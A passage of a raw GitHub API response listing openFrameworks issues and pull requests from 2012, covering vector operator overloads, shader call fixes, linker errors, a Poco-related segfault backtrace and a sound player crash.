'4993'), ('content-length', '52066'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f4d92939c86368abd980ac88fa4a129"'), ('date', 'Tue, 29 May 2012 18:46:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T14:51:07Z","body":"@ofTheo @memo @bilderbuchi @ofZach For your consideration (ref #1200)\r\n\r\n~~~~\r\n\tofVec3f p( 1, 2, 3 ); // p is { 1, 2, 3 }\r\n\tp.set( 4 ); // ok, p is now { 4, 4, 4 }\r\n\tp = ofVec3f( 5 ); // ok, p is now { 5, 5, 5 }\r\n\tp.set( 6, 7 ); // ok, p is now { 6, 7, 0 }\r\n\tp = 8; // generates error 'No match for 'operator=' in 'p = 8'\r\n~~~~\r\n\r\nBehaviour is similar with ofVec2f and ofVec4f.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1205","comments":25,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1205,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1205","assignee":null,"title":"Fix ofVec2/3/4f float assignment","labels":[],"closed_at":"2012-05-29T14:51:07Z","created_at":"2012-04-23T22:31:13Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4250445,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1205","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1205.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1205.diff"}},{"updated_at":"2012-04-23T11:50:50Z","body":"ofShader was calling glGetProgramiv incorrectly, passing a shader argument when it should have been a program argument.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1204","comments":2,"milestone":null,"number":1204,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1204","assignee":null,"title":"Fix ofShader's broken call to glGetProgramiv","labels":[],"closed_at":"2012-04-23T00:40:14Z","created_at":"2012-04-23T00:36:54Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4233147,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1204","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1204.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1204.diff"}},{"updated_at":"2012-04-23T00:33:41Z","body":"ofShader was calling `glGetProgramiv( shader, GL_LINK_STATUS, &status );` but this call is invalid as `glGetProgramiv` expects a program argument, not a shader. Hence status was uninitialised after the call, and the following if statement was nonsense.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1203","comments":0,"milestone":null,"number":1203,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1203","assignee":null,"title":"Fix ofShader's call to glGetProgramiv( GL_LINK_STATUS )","labels":[],"closed_at":"2012-04-23T00:33:41Z","created_at":"2012-04-23T00:33:10Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4233127,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1203","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1203.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1203.diff"}},{"updated_at":"2012-05-29T14:59:44Z","body":"we used to have operator overloading for float so you could do: myVec = 0.0; \r\nor myScale3f = 100.0; and it would set x y and z to that number. \r\n\r\nat somepoint someone commented it out ( breaking quite a few projects for me ).\r\nanyway I would like to revert that commenting out and restore it to its original behavior. \r\n\r\nthis is what ofVec3f.h currently looks like\r\n\r\n\t//operator overloading for float\r\n\t//\r\n\t//\r\n\t//inline void ofVec3f::operator=( const float f){\r\n\t//\tx = f;\r\n\t//\ty = f;\r\n\t//\tz = f;\r\n\t//}\r\n\r\nI know @memo had some thoughts on this. \r\nAlso would be good to have @ofZach look at this. \r\n\r\nI want to make sure I don't introduce anything unexpected by reverting it to its original behavior. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1200","comments":12,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1200,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1200","assignee":null,"title":"fix/feature: restore the = operator overload for ofVec2 / ofVec3 ....","labels":[],"closed_at":"2012-05-29T14:59:44Z","created_at":"2012-04-22T14:24:01Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4229599,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-24T14:52:36Z","body":"currently there is no way to know if your sound file has loaded.\r\nin ofFmodSoundPlayer we have a bLoaded bool, but there should be a method for all sound player objects to query if a sound was successfully loaded. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1199","assignee":null,"title":"feature: add isLoaded() to ofSoundPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-04-24T14:52:36Z","created_at":"2012-04-22T14:18:28Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4229567,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-23T00:11:06Z","body":"@damiannz found that examples were not rendering on a recent Macbook Air. Specs are as follows:\r\n\r\n\r\n Macbook Air 4,1 (late-2011) with Intel HD Graphics 3000 (Sandy Bridge core i7 1.8Ghz CPU):\r\n Chipset Model:\tIntel HD Graphics 3000\r\n Type:\tGPU\r\n Bus:\tBuilt-In\r\n VRAM (Total):\t384 MB\r\n Vendor:\tIntel (0x8086)\r\n Device ID:\t0x0116\r\n Revision ID:\t0x0009\r\n\r\n\r\nWould be great to get this working as its a common laptop setup. \r\n\r\nhere are the features of the card: http://feedback.wildfiregames.com/report/opengl/device/Intel%20HD%20Graphics%203000\r\n\r\n@damiannz \r\n\r\ncould you try changing in testApp of gl/billboardExample\r\n\r\n\t// bind the shader so that wee can change the\r\n\t// size of the points via the vert shader\r\n\t//billboardShader.begin();\r\n\tbillboardShader.setUniform1fv(\"pointSize\", billboardSize, NUM_BILLBOARDS); \r\n\t\r\n\tglPointSize(30);\r\n\tofEnablePointSprites();\r\n\ttexture.getTextureReference().bind();\r\n\tbillboardVbo.bind();\r\n\tbillboardVbo.setVertexData(billboardVerts, NUM_BILLBOARDS, GL_DYNAMIC_DRAW);\r\n\t//billboardVbo.setColorData(billboardColor, NUM_BILLBOARDS, GL_DYNAMIC_DRAW);\r\n\tbillboardVbo.draw(GL_POINTS, 0, NUM_BILLBOARDS);\r\n\t\r\n\tbillboardVbo.unbind();\r\n\ttexture.getTextureReference().unbind();\r\n\tofDisablePointSprites();\r\n\t\r\n\t//billboardShader.end();\r\n\r\nthis comments out the shader and sets the size of the points without the shader.\r\nthis way we can see if its a shader issue or a vbo issue. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1198","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1198,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1198","assignee":null,"title":"billboard examples not working on Intel HD 3000","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"closed_at":"2012-04-23T00:09:09Z","created_at":"2012-04-22T13:56:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4229433,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-22T19:34:27Z","body":"still experiencing problem with develop branch on linux ubuntu lucid 32 bit, now it's an error at linking with new opencv:\r\n\r\n../../../addons/ofxOpenCv/libs/opencv/lib/linux/libopencv_core.a(system.o): In function `cv::tempfile(char const*)':\r\nsystem.cpp:(.text._ZN2cv8tempfileEPKc+0x3a): warning: the use of `tmpnam' is dangerous, better use `mkstemp'\r\n../../../addons/ofxOpenCv/libs/opencv/lib/linux/libopencv_calib3d.a(circlesgrid.o): In function `void std::__uninitialized_fill_n::__uninit_fill_n >*, unsigned int, std::list > >(std::list >*, unsigned int, std::list > const&)':\r\ncirclesgrid.cpp:(.text._ZNSt22__uninitialized_fill_nILb0EE15__uninit_fill_nIPSt4listIjSaIjEEjS4_EEvT_T0_RKT1_[void std::__uninitialized_fill_n::__uninit_fill_n >*, unsigned int, std::list > >(std::list >*, unsigned int, std::list > const&)]+0x57): undefined reference to `std::__detail::_List_node_base::_M_hook(std::__detail::_List_node_base*)'\r\n../../../addons/ofxOpenCv/libs/opencv/lib/linux/libopencv_calib3d.a(circlesgrid.o): In function `CirclesGridClusterFinder::hierarchicalClustering(std::vector, std::allocator > >, cv::Size_ const&, std::vector, std::allocator > >&)':\r\ncirclesgrid.cpp:(.text._ZN24CirclesGridClusterFinder22hierarchicalClusteringESt6vectorIN2cv6Point_IfEESaIS3_EERKNS1_5Size_IiEERS5_+0x4a1): undefined reference to `std::__detail::_List_node_base::_M_hook(std::__detail::_List_node_base*)'\r\ncirclesgrid.cpp:(.text._ZN24CirclesGridClusterFinder22hierarchicalClusteringESt6vectorIN2cv6Point_IfEESaIS3_EERKNS1_5Size_IiEERS5_+0xcab): undefined reference to `std::__detail::_List_node_base::_M_transfer(std::__detail::_List_node_base*, std::__detail::_List_node_base*)'\r\ncollect2: ld returned 1 exit status\r\nmake: *** [bin/lpmt] Errore 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1197","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1197,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1197","assignee":null,"title":"linker error in ubuntu lucid with new opencv libs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-22T19:34:27Z","created_at":"2012-04-22T12:02:28Z","state":"closed","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":4228922,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-22T16:11:05Z","body":"added some little additions to ofVec* classes so generic external functions (e.g. templated functions and classes) can manipulate them without knowing if its a ofVec2f or ofVec3f etc. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1196","comments":5,"milestone":null,"number":1196,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1196","assignee":null,"title":"Feature of vec things","labels":[],"closed_at":"2012-04-22T16:11:05Z","created_at":"2012-04-22T11:03:34Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":4228716,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1196","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1196.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1196.diff"}},{"updated_at":"2012-04-21T19:17:43Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1195","comments":0,"milestone":null,"number":1195,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1195","assignee":null,"title":"arturo's changes to fix linux","labels":[],"closed_at":"2012-04-21T19:17:43Z","created_at":"2012-04-21T19:17:29Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":4225438,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1195","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1195.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1195.diff"}},{"updated_at":"2012-04-21T23:17:32Z","body":"I'm experiencing a segfault on Ubuntu Linux Lucid on my application since commit 3406911340b2c659f298eeab68f607db8491cd21\r\nit seems to me something related with events and triggered by ofxTimeline addon,\r\n\r\nthis is the backtrace:\r\n(gdb) bt\r\n#0 0x0012d422 in __kernel_vsyscall ()\r\n#1 0x0144f651 in raise () from /lib/tls/i686/cmov/libc.so.6\r\n#2 0x01452a82 in abort () from /lib/tls/i686/cmov/libc.so.6\r\n#3 0x0148606d in ?? () from /lib/tls/i686/cmov/libc.so.6\r\n#4 0x01490161 in ?? () from /lib/tls/i686/cmov/libc.so.6\r\n#5 0x014919b8 in ?? () from /lib/tls/i686/cmov/libc.so.6\r\n#6 0x01494a9d in free () from /lib/tls/i686/cmov/libc.so.6\r\n#7 0x013a69f1 in operator delete(void*) () from /usr/lib/libstdc++.so.6\r\n#8 0x080e2aee in Poco::SharedPtr, Poco::ReferenceCounter, Poco::ReleasePolicy > >::release (this=0xbfffecb8) at ../../../libs/poco/include/Poco/SharedPtr.h:407\r\n#9 0x080e2885 in ~SharedPtr (this=0xbfffecb8, __in_chrg=) at ../../../libs/poco/include/Poco/SharedPtr.h:159\r\n#10 0x080e272c in Poco::DefaultStrategy >::add (this=0x87ccc04, delegate=...)\r\n at ../../../libs/poco/include/Poco/DefaultStrategy.h:88\r\n#11 0x080e24e8 in Poco::AbstractEvent >, Poco::AbstractDelegate, Poco::FastMutex>::operator+= (this=0x87ccbf4, aDelegate=...) at ../../../libs/poco/include/Poco/AbstractEvent.h:197\r\n#12 0x080e1fed in ofAddListener, ofxTLZoomEventArgs, ofxTLElement> (event=..., listener=0x906ec18, \r\n listenerMethod=&virtual ofxTLElement::zoomStarted(ofxTLZoomEventArgs&)) at ../../../libs/openFrameworks/events/ofEventUtils.h:59\r\n#13 0x080e230f in ofxTLRegisterZoomEvents (listener=0x906ec18) at ../../../addons/ofxTimeline/src/ofxTLEvents.h:111\r\n#14 0x080e173e in ofxTLElement::enable (this=0x906ec18) at ../../../addons/ofxTimeline/src/ofxTLElement.cpp:58\r\n#15 0x08106a62 in ofxTLTicker::setup (this=0x906ec18) at ../../../addons/ofxTimeline/src/ofxTLTicker.cpp:46\r\n#16 0x08113521 in ofxTimeline::setup (this=0x8c396b0) at ../../../addons/ofxTimeline/src/ofxTimeline.cpp:99\r\n#17 0x08086786 in testApp::timelineSetup (this=0x8c19cc0, duration=10) at src/timeline.cpp:6\r\n#18 0x080694ae in testApp::setup (this=0x8c19cc0) at src/testApp.cpp:266\r\n#19 0x0815665f in ofNotifySetup () at ../../../openFrameworks/events/ofEvents.cpp:77\r\n#20 0x08200f7f in ofAppGlutWindow::runAppViaInfiniteLoop (this=0x889c690, appPtr=0x8c19cc0) at ../../../openFrameworks/app/ofAppGlutWindow.cpp:331\r\n#21 0x08154ef2 in ofRunApp (OFSA=0x8c19cc0) at ../../../openFrameworks/app/ofAppRunner.cpp:78\r\n#22 0x0805b372 in main () at src/main.cpp:18\r\n\r\ni've tracked the problem to the commit that introduced new poco headers\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1194","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1194","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"segfault with new Poco libs 1.4.3","labels":[],"closed_at":"2012-04-21T23:17:32Z","created_at":"2012-04-21T18:33:05Z","state":"closed","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":4225207,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-21T23:17:32Z","body":"the of core lib compiled fine. but when i did testing the example,it won't compiled,seems there's a trouble with ofFileUtils.cpp and poco::File somehow. cheers @ofTheo\r\n\r\nopenframeworksLib.lib(ofFileUtils.obj) : error LNK2019: unresolved external symbol \"public: class Poco::File & __thiscall Poco::File::setWriteable(bool)\" (?setWriteable@File@Poco@@QAEAAV12@_N@Z) referenced in function \"public: void __thiscall ofFile::setWriteable(bool)\" (?setWriteable@ofFile@@QAEX_N@Z)\r\n1>openframeworksLib.lib(ofFileUtils.obj) : error LNK2019: unresolved external symbol \"public: class Poco::File & __thiscall Poco::File::setReadOnly(bool)\" (?setReadOnly@File@Poco@@QAEAAV12@_N@Z) referenced in function \"public: void __thiscall ofFile::setReadOnly(bool)\" (?setReadOnly@ofFile@@QAEX_N@Z)\r\n1>openframeworksLib.lib(ofFileUtils.obj) : error LNK2019: unresolved external symbol \"public: class Poco::File & __thiscall Poco::File::setExecutable(bool)\" (?setExecutable@File@Poco@@QAEAAV12@_N@Z) referenced in function \"public: void __thiscall ofFile::setExecutable(bool)\" (?setExecutable@ofFile@@QAEX_N@Z)\r\n1>openframeworksLib.lib(ofFileUtils.obj) : error LNK2019: unresolved external symbol \"public: class Poco::Path & __thiscall Poco::Path::setFileName(class std::basic_string,class std::allocator > const &)\" (?setFileName@Path@Poco@@QAEAAV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z) referenced in function \"public: int __thiscall ofDirectory::listDir(void)\" (?listDir@ofDirectory@@QAEHXZ)\r\n1>bin\\emptyExample_vs2010.exe : fatal error LNK1120: 4 unresolved externals","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1193","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1193","assignee":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"title":"the vs2010 examples does not compile with 0071","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-21T23:17:32Z","created_at":"2012-04-21T13:32:21Z","state":"closed","user":{"url":"https://api.github.com/users/liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","id":51957},"id":4223588,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-30T18:51:21Z","body":"iOS openCV examples are not working when built using Project Generator.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1192","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1192,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1192","assignee":null,"title":"iOS openCV examples not working - created using PG","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-30T18:51:21Z","created_at":"2012-04-20T11:28:58Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":4208911,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-20T17:40:27Z","body":"On a fresh develop checkout from today, any app that uses sound player example crashes on exit. I've tested the soundPlayerExample and an app created with the PG\r\n\r\n```c++\r\n//------------------------------------------------------------\r\nvoid ofFmodSoundPlayer::unloadSound(){\r\n\tif (bLoadedOk){\r\n\t\tstop();\t\t\t\t\t\t// try to stop the sound\r\n\t\tif(!isStreaming)FMOD_Sound_Release(sound); // <---the error points to this line\r\n\t}\r\n}\r\n```\r\n\r\nosx 10.7.3\r\n\r\nalso, I'm getting a warning like this in every app I compile \r\n\r\nGuardMalloc[soundPlayerExampleDebug-6203]: Allocations will be placed on 16 byte boundaries.\r\nGuardMalloc[soundPlayerExampleDebug-6203]: - Some buffer overruns may not be noticed.\r\nGuardMalloc[soundPlayerExampleDebug-6203]: - Applications using vector instructions (e.g., SSE) should work.\r\nGuardMalloc[soundPlayerExampleDebug-6203]: version 25\r\nCouldn't set thread priority\r\n\r\nnot sure if it's related, as this happens in every application with this checkout but only those with ofSoundPlayer crash. If it's not related I'll file a different issue.\r\n\r\nfor the record, on a different project I'm using a slightly older develop (last commit from March 12, #d20c36f9fb543037dd71a6da7cdfbae22ca64b1d) and none of these issues are there","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1191","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1191,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1191","assignee":null,"title":"ofSoundPlayer EXC_BAD_ACCESS on app exit ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":"2012-04-20T15:41:05Z","created_at":"2012-04-20T10:51:32Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatar